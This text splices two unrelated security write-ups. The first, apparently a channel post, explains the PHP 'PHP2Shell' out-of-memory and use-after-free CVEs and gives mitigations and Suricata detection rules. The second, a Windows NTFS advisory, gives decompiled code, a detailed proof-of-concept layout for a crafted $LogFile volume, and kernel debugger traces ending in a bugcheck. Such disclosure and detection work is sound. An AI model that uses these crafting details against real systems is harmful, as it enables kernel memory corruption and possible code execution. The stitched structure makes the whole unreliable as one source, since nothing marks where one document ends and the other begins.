PHP versions from 5.4 onward can be considered vulnerable. Interestingly, the vulnerabilities were found with the help of AIs (Gemini 4 Argon + GPT-5.6 Sol), and the patch is more than 10 thousand lines of code.

What the vulnerability is

The attacker’s main goal is to trigger a fatal error, such as out-of-memory (OOM), at the right moment while the PHP interpreter is processing an incoming web request.

The CVEs are related to PHP potentially mistakenly treating a new data array that has not yet been initialized due to an OOM error as initialized. This means that an attacker, by spamming PHP memory with specially crafted requests, can cause the same memory region to be freed and allocated for different arrays.

As a result, due to the OOM error, the fields and pointers of a data array were not initialized in time, and they ended up containing data from previous requests controlled by the attacker. And when freeing memory after the error, PHP will call array cleanup functions at addresses controlled by the attacker. That is why exploiting these two vulnerabilities requires serious preparation and large HTTP requests.

Important: due to the ASLR address randomization mechanism, the attacker needs to achieve a memory leak in order to learn the address of a function, for example system().

How exactly exploitation occurs

Since the source of the vulnerability lies deep and is related to the memory free and allocation mechanisms in PHP, there are several ways to exploit it.

1. x-www-form-urlencoded forms

The amount of memory allocated during PHP processing here is achieved through the great nesting depth of form parameters (...[x]). PHP accounts for a new array element even before it is populated, and copying a long name while processing an HTTP request can exceed memory_limit, causing out-of-memory.

When cleaning up the array, PHP mistakes the planted bytes for a ready-made element. By placing a fake array in the right memory region and substituting a function address into it, the attacker can force PHP to call it during cleanup.

2. Tracking file uploads

During a multipart upload with upload progress tracking enabled via the PHP_SESSION_UPLOAD_PROGRESS parameter, PHP writes the upload status to the session — the visitor’s data store between requests. Many empty file fields with nested names also cause a huge amount of memory to be allocated and an OOM error.

After OOM, the memory may be freed but the pointer to it retained. The next request via upload progress may access it again — this is use-after-free (UAF). If the request lands in the same process that survived the crash, the memory may already contain the attacker’s data.

Important: since the attacker can directly influence the structure of the PHP session data, in one of the requests they manage to trigger a PHP memory leak via the Set-Cookie: PHPSESSID= header, which allows bringing the exploitation through to command execution.

3. Crash report in PHP 8.5.

When the fatal_error_backtraces flag is enabled (enabled by default), PHP saves the list of functions that were executing at the moment of the fatal error. After the request completes, the memory of the list is freed, but the pointer remains. The error message at the start of the next request causes PHP to access it again, triggering another use-after-free.

New reports and PoCs for these vulnerabilities appear every day, which makes creating detections for their exploitation even more difficult. However, to successfully exploit and execute malicious code, the attacker needs to learn the exact addresses of functions (for example, system).

A full exploit that executes malicious code is so far known only for the method using the PHP_SESSION_UPLOAD_PROGRESS parameter.

Network artifacts

The only known full attack chain so far has an obvious artifact — the PHP_SESSION_UPLOAD_PROGRESS parameter in the request body. Successful exploitation may be indicated by an unusually long PHPSESSID value in the response containing URL-encoded memory bytes.

Although the PHP_SESSION_UPLOAD_PROGRESS parameter itself can also be used in ordinary requests, in practice we have not encountered this parameter in network requests.

Important: there is no single mandatory network marker for all exploitation variants.

What is known about the attacks

Amazon specialists recorded attempted attacks as early as October 17. After the vulnerabilities were disclosed, the number of attack attempts in Cloudflare’s network grew to millions, according to the company’s head.

How to fix

Update PHP to 8.2.35, 8.3.36, 8.4.27, 8.5.12, or a newer fixed version of your branch.

Until you update, the following PHP settings will help reduce the risk:

• session.upload_progress.enabled=0 — blocks the known chains via upload progress;
• fatal_error_backtraces=0 — blocks the corresponding path on PHP 8.5;
• request size and complexity limits on the web server or reverse proxy.

The settings must take effect before the request is parsed: set them in php.ini or the server configuration.

For CVE-2026-109618, the PHP developers also suggest setting memory_limit=-1 with external memory limits at the container/cgroup level. This is a partial measure: a system-level memory allocation failure can still lead to the vulnerable path.

Only updating PHP fully fixes both vulnerabilities.

Suricata signatures

alert http any any -> any any (msg: "ATTACK [PTsecurity] Possible PHP RCE Exploitation attempt. PHP upload progress in multipart request (PHP2Shell, CVE-2026-109618, CVE-2026-109619)"; flow: established, to_server; http.content_type; content: "multipart/form-data"; startswith; nocase; http.request_body; content: "PHP_SESSION_UPLOAD_PROGRESS"; threshold: type limit, track by_src, count 1, seconds 300; reference: cve, 2026-109618; reference: cve, 2026-109619; reference: url, wiz.io/blog/php2shell-php-rce; classtype: attempted-admin; sid: 10018633; rev: 1;)

alert http any any -> any any (msg: "ATTACK [PTsecurity] Successful PHP RCE Exploitation. PHPSESSID memory leak (PHP2Shell, CVE-2026-109619)"; flow: established, to_client; http.header.raw; content: "Set-Cookie|3a|"; nocase; content: "PHPSESSID="; nocase; distance: 0; content: "%"; distance: 0; pcre: "/Set-Cookie\x3a[\x20\x09]*PHPSESSID\x3d(?:[^\x3b\x25\r\n\x20\x09]{0,64}\x25(?:[0189a-f][0-9a-f]|7f)){12}/im"; threshold: type limit, track by_dst, count 1, seconds 300; reference: cve, 2026-109619; reference: url, wiz.io/blog/php2shell-php-rce; classtype: successful-admin; sid: 10018632; rev: 3;)

#cve #php

@ptescalator

Summary

A heap buffer overflow vulnerability exists in the ntfs!PageUpdateAnalysis function of the Microsoft Windows NTFS driver. A specially crafted NTFS volume can cause an out-of-bounds write into kernel NonPagedPoolNx memory during log recovery. An attacker can trigger this vulnerability by causing an affected Windows system to mount a volume containing malicious $LogFile records. The resulting kernel memory corruption may lead to denial of service, privilege escalation, or arbitrary kernel code execution.

Confirmed Vulnerable Versions

ntfs.sys.10.0.22621.5037

Product URLs

Microsoft Windows — https://www.microsoft.com/windows

CWE

CWE-787 — Out-of-bounds Write

Details

NTFS is the primary file system used by Microsoft Windows. Its metadata journal, $LogFile, contains records used to restore file system consistency after interrupted operations.

ntfs!AnalysisPass implements the analysis phase of NTFS restart recovery, preceding the redo and undo phases. It scans log records from the most recent checkpoint and reconstructs recovery state, including transaction and dirty page tables. These tables track outstanding transactions and metadata pages whose updates may not have reached disk, allowing subsequent recovery phases to determine which operations require replay or rollback.

ntfs!PageUpdateAnalysis processes page-update records during this analysis phase. The mount stack context is:

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

NTFS stores dirty page entries in a flat RESTART_TABLE allocation in NonPagedPoolNx. Each entry contains an array of logical cluster numbers (LCNs), with capacity determined by the entry size:

DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage[]     Array of 8-byte LCN values

Table allocation is performed during ntfs!InitializeRestartState when DirtyPageTable is loaded from the image.

In ntfs!PageUpdateAnalysis, after ntfs!FindDirtyPage returns an existing entry, ntfs!PageUpdateAnalysis copies LCN values from the incoming log record into that entry.

// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord->TargetAttribute, CurrentLogRecord->TargetVcn, &v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    if ( v8 >= (unsigned int)result ) // v8 is i
      break;
    v20->LcnsForPage[LODWORD(CurrentLogRecord->TargetVcn) + v8 - LODWORD(v20->Vcn)] = CurrentLogRecord->LcnsForPage[v8];
    ++v8;
}
return result;

The analyzed binary contains the following code corresponding to the decompiled listing that you can see above:

1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, [rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, [rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, [r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, [r13+r8*8+20h]  ; LogRecord->LcnsForPage[i]
1c0258466  mov  [rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

The effective destination index is calculated using 32-bit arithmetic:

Index = i + TargetVcn - StartingVcn

ntfs!FindDirtyPage matches an entry when StartingVcn <= TargetVcn < StartingVcn + LcnsToFollow:

char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1->Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i->TargetAttribute == TargetAttribute )
    {
      v9 = i->Vcn; // v9 is a starting VCN
      if ( Vcn >= v9 && Vcn < v9 + (unsigned int)i->LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

This establishes that the starting cluster lies within the entry, but does not establish that the complete incoming range fits. For TargetVcn = StartingVcn + k, the loop writes to indices k through k + LcnsToFollow - 1. The array overflows when:

k + LcnsToFollow > ClustersPerPage

The resize check in ntfs!PageUpdateAnalysis only considers whether LcnsToFollow > ClustersPerPage. It does not account for the destination offset k. Consequently, a record whose LCN count fits the nominal capacity can still overflow the destination array.

// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table->EntrySize - 40) >> 3) + 1;
}
else {
    ClustersPerPage = a2->ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2->RestartVersion >= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
if ( LcnsToFollow > ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4->Table->NumberEntries,
      a2->RestartVersion >= 2u,
      0,
      &Resource); // resize
    ...
}
...

No destination bounds check precedes the write, either in the ntfs!PageUpdateAnalysis function or in ntfs!InitializeRestartState. Incidentally, ntfs!InitializeRestartState accepts DirtyPageTable data as is when the MajorVersion of $LogFile is not zero.

// ntfs!InitializeRestartState
...
if ( RestartArea->DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea->DirtyPageTableLsn,
                                      &Leb,
                                      &RestartAreaLength);
    ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable->Table;
    if ( RestartArea->MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable->Table, 0);
      DirtyPageTable->Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, 'RFtN');
      DirtyPageTable->Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable->Table->field_A = DirtyPageTable->Table->NumberAllocated;
      ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

Proof of Concept

When the crafted volume is mounted, NTFS performs the following operations:

1. ntfs!InitializeRestartState reads the serialized DirtyPageTable from $LogFile.
2. Because the restart area has a nonzero MajorVersion, the complete table is copied into a newly allocated NonPagedPoolNx buffer.
3. ntfs!AnalysisPass begins scanning at the crafted checkpoint.
4. The next record is the crafted UpdateResidentValue record.
5. The incoming LcnsToFollow value is 8, equal to ClustersPerPage, so the table-resizing path is not taken.
6. ntfs!PageUpdateAnalysis calls ntfs!FindDirtyPage with TargetAttribute = 0x18 and TargetVcn = 7.
7. ntfs!FindDirtyPage selects slot 31 because its range is [0, 8) and therefore contains VCN 7.
8. The vulnerable copy writes the eight supplied LCN values beginning at destination index seven.

The PoC crafts restart area uses MajorVersion = 2. This causes Ntfs!InitializeRestartState to allocate a buffer for the serialized DirtyPageTable and copy the table from the image without rebuilding its entries.

The PoC creates a RESTART_TABLE with the following properties:

EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

Each entry contains eight LCN slots:

EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

All 32 entries are marked as allocated, preventing ntfs!PageUpdateAnalysis from selecting or creating a free slot. Entries zero through 30 use distinct VCN ranges that do not match the triggering record. The final entry, slot 31, is configured as follows:

AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

Because slot 31 is the final entry, data written beyond its LCN array also extends beyond the complete RESTART_TABLE allocation. The table allocation has the following size:

sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

On the snippet below you may see how DirtyPageTable is initialized in runtime as well as part of data corresponded to layout described above.

0: kd> p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr [r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd> p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr [Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd> p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd> db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

The triggering record uses the UpdateResidentValue redo operation, which is dispatched to ntfs!PageUpdateAnalysis:

RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr [r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

The destination indices are calculated as follows:

Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

For i = 0..7, the resulting indices are:

7, 8, 9, 10, 11, 12, 13, 14

Index seven is the final valid element. Indices eight through fourteen are outside the entry:

Because the selected entry is slot 31, these seven LCN values extend 56 bytes beyond the end of the complete 3096 byte restart-table allocation.

1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr [r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr [r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr [r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd> p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

Mounting the generated VHD on a system using the affected ntfs.sys reaches the unchecked write in Ntfs!PageUpdateAnalysis:

1: kd> !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1

BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax

